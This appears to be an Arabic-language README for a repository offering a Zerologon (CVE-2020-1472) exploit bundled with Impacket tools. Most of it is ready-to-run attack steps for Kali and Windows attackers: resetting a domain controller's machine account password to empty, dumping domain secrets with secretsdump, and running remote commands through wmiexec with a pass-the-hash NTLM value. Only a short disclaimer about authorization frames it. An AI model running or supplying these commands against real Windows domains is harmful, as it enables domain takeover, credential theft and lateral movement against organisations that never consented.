استغلال Zerologon مع Impacket (CVE-2020-1472)

يحتوي هذا المستودع على تنفيذ محدّث (2024) لاستغلال Zerologon مدمجًا مع أدوات Impacket لاستغلال CVE-2020-1472 (Zerologon). يستهدف هذا الاستغلال بيئات Windows Server للتلاعب بكلمات مرور حسابات الأجهزة وتنفيذ حركة جانبية.

الميزات

• يستغل CVE-2020-1472 (Zerologon) لتعيين كلمة مرور حساب جهاز الهدف إلى سلسلة فارغة.
• يستخدم أدوات Impacket لتفريغ بيانات الاعتماد وتنفيذ الأوامر على الجهاز الضحية.

المتطلبات

1. Python 3.x
2. قم بتثبيت التبعيات المطلوبة عن طريق تشغيل:

   pip install -r requirements.txt
   

الاستخدام

سيناريو مثال

• الضحية: Windows Server 2016
• المهاجم: Kali Linux (أو نظام Windows)

أوامر الاستغلال (Kali Linux)

1. تعيين كلمة مرور حساب الجهاز إلى سلسلة فارغة:

   python3 set_empty_pw.py WIN-C9PAHHGJN91 192.168.40.145
   

2. تفريغ الأسرار من وحدة تحكم المجال:

   python3 secretsdump.py -just-dc tancongmang/WIN-C9PAHHGJN91\[email protected]
   

3. تنفيذ الأوامر على الجهاز الضحية:

   python3 wmiexec.py tancongmang/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:579da618cfbfa85247acf1f800a280a4
   

أوامر الاستغلال (مهاجم Windows)

1. تعيين كلمة مرور حساب الجهاز إلى سلسلة فارغة:

   python set_empty_pw.py WIN-C9PAHHGJN91 192.168.40.145
   

2. تفريغ الأسرار من وحدة تحكم المجال:

   python secretsdump.py -just-dc "tancongmang/[email protected]"
   

3. تنفيذ الأوامر على الجهاز الضحية:

   python wmiexec.py tancongmang/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:579da618cfbfa85247acf1f800a280a4
   

ملاحظات

• استبدل WIN-C9PAHHGJN91 و192.168.40.145 باسم المضيف الفعلي وعنوان IP للهدف.
• تأكد من حصولك على إذن مناسب قبل استخدام هذه الأداة.
• هذه الأداة مخصصة للأغراض التعليمية واختبار الاختراق فقط.

إخلاء مسؤولية

استخدم هذه الأداة بمسؤولية. الاستخدام غير المصرح به لهذه الأداة لاستغلال الأنظمة دون إذن صريح هو أمر غير قانوني وغير أخلاقي. المؤلفون غير مسؤولين عن أي إساءة استخدام أو ضرر ناتج عن هذه الأداة.